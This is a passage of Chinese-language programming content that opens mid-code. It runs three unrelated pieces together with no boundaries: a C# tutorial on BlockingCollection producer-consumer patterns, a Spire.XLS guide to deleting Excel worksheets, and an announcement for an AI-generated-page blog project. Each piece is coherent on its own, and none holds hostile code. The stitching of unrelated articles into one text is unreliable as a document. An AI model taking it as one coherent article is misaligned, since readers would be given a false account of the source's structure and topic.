        collection.Add("项目1"); // 阻塞直到有空间
        
        // 2. 尝试添加(不阻塞)
        bool added = collection.TryAdd("项目2", millisecondsTimeout: 0);
        Console.WriteLine($"尝试添加结果: {added}");
        
        // 3. 带超时的添加
        bool addedWithTimeout = collection.TryAdd("项目3", 
            millisecondsTimeout: 1000); // 最多等待1秒
        Console.WriteLine($"带超时添加结果: {addedWithTimeout}");
        
        // 4. 取出项目(阻塞)
        string item1 = collection.Take(); // 阻塞直到有项目可取
        Console.WriteLine($"取出: {item1}");
        
        // 5. 尝试取出(不阻塞)
        bool taken = collection.TryTake(out string item2, millisecondsTimeout: 0);
        Console.WriteLine($"尝试取出结果: {taken}, 项目: {item2}");
        
        // 6. 查看但不移除
        bool peeked = collection.TryPeek(out string item3);
        Console.WriteLine($"查看结果: {peeked}, 项目: {item3}");
        
        // 7. 完成添加
        collection.CompleteAdding();
        Console.WriteLine($"IsAddingCompleted: {collection.IsAddingCompleted}");
        Console.WriteLine($"IsCompleted: {collection.IsCompleted}");
        
        // 8. 获取当前所有项目(不阻塞)
        string[] allItems = collection.ToArray();
        Console.WriteLine($"当前项目数: {allItems.Length}");
    }
}

基础示例:简单生产者 - 消费者

using System;
using System.Collections.Concurrent;
using System.Threading;
using System.Threading.Tasks;

class BlockingCollectionBasicDemo
{
    static void Main()
    {
        // 创建阻塞集合,最大容量为5(满则生产者阻塞)
        var bc = new BlockingCollection<int>(5);

        // 1. 生产者线程:生产1-10的数字
        Task producer = Task.Run(() =>
        {
            for (int i = 1; i <= 10; i++)
            {
                bc.Add(i); // 满则阻塞
                Console.WriteLine($"生产者:添加 {i},当前集合数量:{bc.Count}");
                Thread.Sleep(100); // 模拟生产耗时
            }
            // 标记添加完成:消费者知道不会有新数据了
            bc.CompleteAdding();
            Console.WriteLine("生产者:完成所有生产,标记添加完成");
        });

        // 2. 消费者线程:消费所有数字
        Task consumer = Task.Run(() =>
        {
            // GetConsumingEnumerable():遍历集合,空则阻塞,直到CompleteAdding且空
            foreach (int item in bc.GetConsumingEnumerable())
            {
                Console.WriteLine($"消费者:消费 {item},当前集合数量:{bc.Count}");
                Thread.Sleep(500); // 模拟消费耗时(比生产慢,会导致集合堆积)
            }
            Console.WriteLine("消费者:所有数据消费完成");
        });

        // 等待所有任务完成
        Task.WaitAll(producer, consumer);
        bc.Dispose(); // 释放资源
    }
}

输出结果

生产者:添加 1,当前集合数量:1
生产者:添加 2,当前集合数量:2
生产者:添加 3,当前集合数量:3
生产者:添加 4,当前集合数量:4
生产者:添加 5,当前集合数量:5
消费者:消费 1,当前集合数量:4
生产者:添加 6,当前集合数量:5  // 消费后腾出空间,生产者继续添加
生产者:添加 7,当前集合数量:5  // 集合再次满,生产者阻塞
消费者:消费 2,当前集合数量:4
生产者:添加 8,当前集合数量:5
...(后续依次消费和生产)
生产者:完成所有生产,标记添加完成
消费者:消费 10,当前集合数量:0
消费者:所有数据消费完成

核心现象:

  • 集合容量设为 5,生产者添加到 5 个后阻塞,直到消费者消费 1 个腾出空间;
  • GetConsumingEnumerable() 自动处理阻塞逻辑,无需手动判断集合是否为空;
  • CompleteAdding() 后,消费者遍历完剩余数据即退出,不会无限阻塞。

高级用法详解

边界限制(Bounded Capacity)

通过构造函数指定 boundedCapacity,实现 “生产者限流”:

// 最大容量3,满则生产者阻塞
var bc = new BlockingCollection<string>(3);

// 生产者1:快速添加3个元素,第4个会阻塞
Task.Run(() =>
{
    bc.Add("A");
    bc.Add("B");
    bc.Add("C");
    Console.WriteLine("生产者1:已添加3个,准备添加第4个(会阻塞)");
    bc.Add("D"); // 阻塞,直到消费者消费一个
    Console.WriteLine("生产者1:第4个元素添加成功");
});

// 消费者1:2秒后消费一个元素
Task.Run(() =>
{
    Thread.Sleep(2000);
    var item = bc.Take();
    Console.WriteLine($"消费者1:消费 {item}");
});

取消阻塞(CancellationToken)

CancellationToken 中断阻塞的 Add/Take 操作,避免线程永久阻塞:

var cts = new CancellationTokenSource();
// 3秒后取消
cts.CancelAfter(3000);

var bc = new BlockingCollection<int>();

// 生产者:尝试添加,3秒后取消
Task.Run(() =>
{
    try
    {
        // 集合无边界,此处不会阻塞,但演示取消逻辑
        for (int i = 1; ; i++)
        {
            bc.Add(i, cts.Token);
            Console.WriteLine($"添加 {i}");
            Thread.Sleep(500);
        }
    }
    catch (OperationCanceledException)
    {
        Console.WriteLine("生产者:添加操作被取消");
        bc.CompleteAdding();
    }
});

// 消费者:尝试消费,3秒后取消
Task.Run(() =>
{
    try
    {
        while (true)
        {
            int item = bc.Take(cts.Token);
            Console.WriteLine($"消费 {item}");
        }
    }
    catch (OperationCanceledException)
    {
        Console.WriteLine("消费者:消费操作被取消");
    }
});

自定义底层存储

默认底层是 ConcurrentQueue<T>(FIFO),可指定 ConcurrentStack<T>(LIFO)或 ConcurrentBag<T>(无序):

// 底层用ConcurrentStack(栈:后进先出)
var bc = new BlockingCollection<int>(new ConcurrentStack<int>());

bc.Add(1);
bc.Add(2);
bc.Add(3);

// Take会获取最后添加的3(栈顶)
Console.WriteLine(bc.Take()); // 输出:3
Console.WriteLine(bc.Take()); // 输出:2
Console.WriteLine(bc.Take()); // 输出:1

多生产者 / 多消费者

BlockingCollection<T> 天然支持多生产者、多消费者并发操作,无需额外同步:

var bc = new BlockingCollection<int>(10);

// 3个生产者线程
for (int i = 0; i < 3; i++)
{
    int producerId = i + 1;
    Task.Run(() =>
    {
        for (int j = 1; j <= 5; j++)
        {
            int value = producerId * 100 + j;
            bc.Add(value);
            Console.WriteLine($"生产者{producerId}:添加 {value}");
            Thread.Sleep(100);
        }
    });
}

// 2个消费者线程
for (int i = 0; i < 2; i++)
{
    int consumerId = i + 1;
    Task.Run(() =>
    {
        foreach (var item in bc.GetConsumingEnumerable())
        {
            Console.WriteLine($"消费者{consumerId}:消费 {item}");
            Thread.Sleep(200);
        }
    });
}

// 等待所有生产者完成后标记添加完成
Task.Delay(2000).ContinueWith(_ => bc.CompleteAdding());

数据流水线(Pipeline)模式

public class DataPipelineExample
{
    public static void RunPipeline()
    {
        // 创建三个阶段的流水线
        var stage1 = new BlockingCollection<string>(boundedCapacity: 10);
        var stage2 = new BlockingCollection<string>(boundedCapacity: 10);
        var stage3 = new BlockingCollection<string>(boundedCapacity: 10);
        
        CancellationTokenSource cts = new CancellationTokenSource();
        
        // 阶段1:数据源
        var sourceTask = Task.Run(() =>
        {
            try
            {
                for (int i = 1; i <= 20; i++)
                {
                    string data = $"原始数据{i}";
                    stage1.Add(data, cts.Token);
                    Console.WriteLine($"阶段1: 产生 {data}");
                    Thread.Sleep(50);
                }
                
                stage1.CompleteAdding();
                Console.WriteLine("阶段1完成");
            }
            catch (OperationCanceledException)
            {
                Console.WriteLine("阶段1被取消");
            }
        });
        
        // 阶段2:数据处理
        var processorTask = Task.Run(() =>
        {
            try
            {
                foreach (var item in stage1.GetConsumingEnumerable(cts.Token))
                {
                    string processed = $"处理过的[{item}]";
                    stage2.Add(processed, cts.Token);
                    Console.WriteLine($"阶段2: 处理 {item} -> {processed}");
                    Thread.Sleep(100);
                }
                
                stage2.CompleteAdding();
                Console.WriteLine("阶段2完成");
            }
            catch (OperationCanceledException)
            {
                Console.WriteLine("阶段2被取消");
            }
        });
        
        // 阶段3:数据输出
        var outputTask = Task.Run(() =>
        {
            try
            {
                foreach (var item in stage2.GetConsumingEnumerable(cts.Token))
                {
                    string result = $"最终结果<{item}>";
                    stage3.Add(result, cts.Token);
                    Console.WriteLine($"阶段3: 输出 {item} -> {result}");
                    Thread.Sleep(80);
                }
                
                stage3.CompleteAdding();
                Console.WriteLine("阶段3完成");
            }
            catch (OperationCanceledException)
            {
                Console.WriteLine("阶段3被取消");
            }
        });
        
        // 监控输出
        var monitorTask = Task.Run(() =>
        {
            int count = 0;
            foreach (var item in stage3.GetConsumingEnumerable())
            {
                count++;
                Console.WriteLine($"监控: 收到第{count}个结果: {item}");
            }
            
            Console.WriteLine($"监控: 总共收到 {count} 个结果");
        });
        
        // 运行5秒后取消
        Task.Run(() =>
        {
            Thread.Sleep(5000);
            Console.WriteLine("\n流水线运行5秒,发送取消信号...");
            cts.Cancel();
        });
        
        try
        {
            Task.WaitAll(sourceTask, processorTask, outputTask, monitorTask, 10000);
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"任务异常: {ex.Flatten().Message}");
        }
        
        Console.WriteLine("流水线运行结束");
    }
}

使用场景

适合场景

  • CPU 线程池任务
  • 后台 Worker
  • 批处理系统
  • ETL 管道
  • 传统 Producer–Consumer

不适合场景

  • async/await
  • 高吞吐低延迟网络 IO
  • UI 线程
  • 实时系统

总结

  • BlockingCollection<T>.NET 官方的阻塞式线程安全集合,核心适配 “生产者 - 消费者” 模型;
  • 核心特性:空集合消费阻塞、满集合生产阻塞,支持边界限制、取消操作、自定义底层存储;
  • 核心 API:Add()(生产)、Take()(消费)、CompleteAdding()(标记生产完成)、GetConsumingEnumerable()(遍历消费);
  • 关键坑点:必须调用 CompleteAdding() 避免消费者永久阻塞,使用后需 Dispose 释放资源;
  • 适用场景:日志收集、任务队列、消息分发、多线程数据处理等生产者 - 消费者场景,优先使用而非手动实现。

精简 Excel 工作簿、删除多余或不再使用的工作表,是一种非常有效的整理方式。通过移除无关内容,可以减少冗余信息,使文件结构更加清晰,只保留最有价值的数据。删除不必要的工作表不仅有助于释放存储空间,还能让工作簿的浏览与管理更加高效、直观。

在本文中,你将学习如何使用 Spire.XLS for .NET 库,通过 C# 从 Excel 工作簿中删除指定的工作表。

安装 Spire.XLS for .NET

首先,你需要将 Spire.XLS for .NET 包中包含的 DLL 文件添加为 .NET 项目的引用。你可以通过提供的下载链接手动下载 DLL 文件并引入项目,或者直接使用 NuGet 进行安装。

PM> Install-Package Spire.XLS

在 C# 中通过索引删除工作簿中的工作表

Spire.XLS for .NET 提供了 WorksheetsCollection.RemoveAt(int index) 方法,可根据工作表在工作簿中的索引位置删除指定的工作表。

具体示例代码如下:

using Spire.Xls;
using Spire.Xls.Collections;

namespace RemoveWorksheetByIndex
{
    class Program
    {
        static void Main(string[] args)
        {
            // 创建一个 Workbook 对象
            Workbook wb = new Workbook();

            // 加载 Excel 文件
            wb.LoadFromFile(@"C:\Users\Administrator\Desktop\Input.xlsx");

            // 从工作簿中获取工作表集合
            WorksheetsCollection worksheets = wb.Worksheets;

            // 根据索引删除指定的工作表
            worksheets.RemoveAt(0);

            // 将工作簿保存为新的 Excel 文件
            wb.SaveToFile("RemoveByIndex.xlsx", ExcelVersion.Version2016);

            // 释放资源
            wb.Dispose();
        }
    }
}

在 C# 中通过工作表名称删除工作簿中的工作表

如果你已经知道需要删除的工作表名称,可以使用 WorksheetsCollection.Remove(string sheetName) 方法,直接按名称从工作簿中移除对应的工作表。

具体示例代码如下:

using Spire.Xls;
using Spire.Xls.Collections;

namespace RemoveWorksheetByName
{
    class Program
    {
        static void Main(string[] args)
        {
            // 创建一个 Workbook 对象
            Workbook wb = new Workbook();

            // 加载 Excel 文件
            wb.LoadFromFile(@"C:\Users\Administrator\Desktop\Input.xlsx");

            // 从工作簿中获取工作表集合
            WorksheetsCollection worksheets = wb.Worksheets;

            // 根据工作表名称删除指定的工作表
            worksheets.Remove("sheet2");

            // 将工作簿保存为新的 Excel 文件
            wb.SaveToFile("RemoveByName.xlsx", ExcelVersion.Version2016);

            // 释放资源
            wb.Dispose();
        }
    }
}

在 C# 中一次性删除工作簿中的所有工作表

如果需要一次性移除工作簿中的所有工作表,可以使用 WorksheetsCollection.Clear() 方法快速清空工作表集合。

具体示例代码如下:

using Spire.Xls;
using Spire.Xls.Collections;

namespace RemoveAllWorksheets
{
    class Program
    {
        static void Main(string[] args)
        {
            // 创建一个 Workbook 对象
            Workbook wb = new Workbook();

            // 加载 Excel 文件
            wb.LoadFromFile(@"C:\Users\Administrator\Desktop\Input.xlsx");

            // 从工作簿中获取工作表集合
            WorksheetsCollection worksheets = wb.Worksheets;

            // 删除所有工作表
            worksheets.Clear();

            // 将工作簿保存为新的 Excel 文件
            wb.SaveToFile("RemoveAllWorksheets.xlsx", ExcelVersion.Version2016);

            // 释放资源
            wb.Dispose();
        }
    }
}

申请临时许可证

如果你希望移除生成文档中的评估提示信息,或解除功能限制,请申请一个 为期 30 天的试用许可证。

哪天学不动技术了,写作仍然是我们必备的技能,我把写作当作一种自然语言编程,只要还能写,就还能产生成果。为此我开发了一款博客作为 MVP,试试当文章不再仅仅关注排版美化,而是作为一种 “意图指令” 时,会发生什么。

项目地址:GitHub - code-gal/namblog: 一个致力于提升内容演示的博客系统。自由的写作,让 AI 生成页面。
demo:https://namblog.nigzu.com

当你提交一篇文档时,系统会根据你的指令 ——“生成一个交互式图表”、“设计一个沉浸式阅读页” 或 “构建一个带动画的卡片布局”—— 实时调用 AI 将 Markdown 编译为包含完整样式和脚本的 HTML 应用。这让 “写作” 的过程充满创意,从 md 到各个元数据提示词都是可以自定义的。

虽然它的本意不是博客,但作为博客该有的功能基本都有了。

后端架构: 基于 .NET 10 构建,采用 DDD(领域驱动设计)分层架构。
数据查询: 全面采用 GraphQL,实现前端按需查询,摆脱预定义模板限制。
实时反馈: 支持系统配置的热重载和前端及时反馈。
体验融合: 单页应用(SPA)结构,支持 PWA 离线访问,同时兼顾 SEO 静态交付。
开放生态: 支持 MCP 协议,支持从文档库自动扫描生成,可与 Claude、Obsidian 等工具深度集成。

欢迎体验。


📌 转载信息
原作者:
wumi
转载时间:
2026/1/5 12:15:37